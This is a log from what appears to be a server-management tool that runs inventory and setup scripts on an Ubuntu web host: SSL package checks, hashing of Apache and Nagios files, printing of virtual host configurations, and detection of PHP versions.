bin(/usr/local/nagios/libexec/check_website)= 80eef1ef86eb3034ef686f8f3983c135
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ssmtp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ide_smart)= 29d0f800b7f3823d21bd444e86e83dd7
bin(/usr/local/nagios/libexec/check_ups)= 78db79cee08eebaa75a59f1cba536f75
bin(/usr/local/nagios/libexec/check_dns)= d11ffa1a24eebc4469d2d848fecc73d5
bin(/usr/local/nagios/libexec/check_raid)= d56bce7813a9a6e2be39576a71e6be88
bin(/usr/local/nagios/libexec/check_ntp)= 600191ef12bcda7add96ac823e4f509a
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_disk)= 6e28ad892b3e9d4f2e1c424caa467401
bin(/usr/local/nagios/libexec/check_load)= 609fbe0884b9d265ee2efb2306636142
bin(/usr/local/nagios/libexec/check_ping)= b0feeda323e47aec89d515918a69fd2b
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_toner.php)= 1c9096e45b272e90f863889d1ee97c29
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_dhcp)= 11af22e79dd5231fe387e003d27017b1
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_smtp)= 282bd82207faa6c16d3d9fc69d484ffc
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_jabber)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_overcr)= dcce712428ef42dcbe39e423c69f7f87
bin(/usr/local/nagios/libexec/check_dig)= f329f192e283dbbd3d8e71a5cf617d0b


2026-04-20 19:08:23: 

PUT: /tmp/pkp514138

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-20 19:08:23: 

chmod 755 /tmp/pkp514138; /tmp/pkp514138; rm /tmp/pkp514138

2026-04-20 19:08:24: 


status=ok


2026-04-20 19:08:24: 

PUT: /tmp/pkp922950

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 19:08:24: 

chmod 755 /tmp/pkp922950; /tmp/pkp922950; rm /tmp/pkp922950

2026-04-20 19:08:24: 
2026-04-20 19:08:24: 

PUT: /tmp/pkp287247

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hostz_stoughton_us.conf')
    show_file('/etc/apache2/sites-available/hostz_pluto_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 19:08:25: 

chmod 755 /tmp/pkp287247; /tmp/pkp287247; rm /tmp/pkp287247

2026-04-20 19:08:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hostz_stoughton_us.conf	1753
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hostz_pluto_org.conf	1675
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py

    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
#    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass /.well-known !
#    ProxyPass	/ http://pluto.hostz.org/
#    ProxyPassReverse	/ http://pluto.hostz.org/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    ProxyRequests	off
    ProxyVia	on
    ProxyPass /.well-known !
    ProxyPass	/ http://pluto.hostz.org/
    ProxyPassReverse	/ http://pluto.hostz.org/
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/hostz_stoughton_us.conf)= 107c0421ea61a475ba7697ad2162eff7
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 3b56d551efc01d0c43e75d36a83b45d1
MD5(/etc/apache2/sites-available/hostz_pluto_org.conf)= 54c5718b4505c15627e6bd55f657e92f
MD5(/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt)= 477b7bf981a00e199552e58a857860be
MD5(/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf)= a008b1d959ff54c814ddd2d3374caaa7
MD5(/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4)= 6b358c9a19129a720ee195befd61b738
MD5(/etc/apache2/sites-available/hostz_church.conf)= 658db80c433869cf04aa6b47d3017a52
MD5(/etc/ssl/certs/hostz)= 0fb409790b96d8fbbd847223dae3c121
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fd0075a430840c023780838db658a0c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf)= 74bfe5f347fa1ad20c501d5e44136f27
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 95c8c2f7403843696efe2c2a4c76af12
MD5(/etc/apache2/sites-available/hopeinstoughton_internal-api_org.conf)= d147f4a08d63d10749c6fba967c2c8af
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 95c8c2f7403843696efe2c2a4c76af12
MD5(/etc/apache2/sites-available/hopeinstoughton_mixer_org.conf)= cc24533683eb89420b0559cfbdc7e448
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7)= 82ede0fdebf4915eb7173d94b2f3d865
MD5(/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf)= 5d929307ffa168be6c64c9e93d9cc35f
MD5(/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734)= a45fd1d2b83893175af3bafbe4fefa6e
link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2/sites-available/hostz_stoughton_us.conf
link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2/sites-available/hostz_pluto_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2/sites-available/hopeinstoughton_mixer_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf




STDERR:
/tmp/pkp922950:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-20 19:08:39: Establishing a connection
2026-04-20 19:08:49: Establishing a connection
2026-04-20 19:08:50: Performing Server Status
2026-04-20 19:08:50: 

PUT: /tmp/pkp265232

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 19:08:51: 

chmod 755 /tmp/pkp265232; /tmp/pkp265232; rm /tmp/pkp265232

2026-04-20 19:08:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		8388604		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
pluto

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-20 19:08:51: 

PUT: /tmp/pkp582667

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-20 19:08:51: 

chmod 755 /tmp/pkp582667; /tmp/pkp582667; rm /tmp/pkp582667

2026-04-20 19:08:51: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 2022
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        2022  0.0  0.1 279944 25888 ?        Ss   Apr19   0:06 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-04-20 19:08:51: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'pluto',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'setenvif_module',
      27 => 'socache_shmcb_module',
      28 => 'ssl_module',
      29 => 'status_module',
    ),
  ),
)


2026-04-20 19:08:51: 

PUT: /tmp/pkp311311

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-20 19:08:52: 

chmod 755 /tmp/pkp311311; /tmp/pkp311311; rm /tmp/pkp311311

2026-04-20 19:08:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-20 19:08:52: 

PUT: /tmp/pkp500538

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-20 19:08:53: 

chmod 755 /tmp/pkp500538; /tmp/pkp500538; rm /tmp/pkp500538

2026-04-20 19:08:53: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20


2026-04-20 19:08:53: 

PUT: /tmp/pkp710822

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-20 19:08:53: 

chmod 755 /tmp/pkp710822; /tmp/pkp710822; rm /tmp/pkp710822

2026-04-20 19:08:54: 
(gzipped output)




2026-04-20 19:08:54: 

PUT: /tmp/pkp471873

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
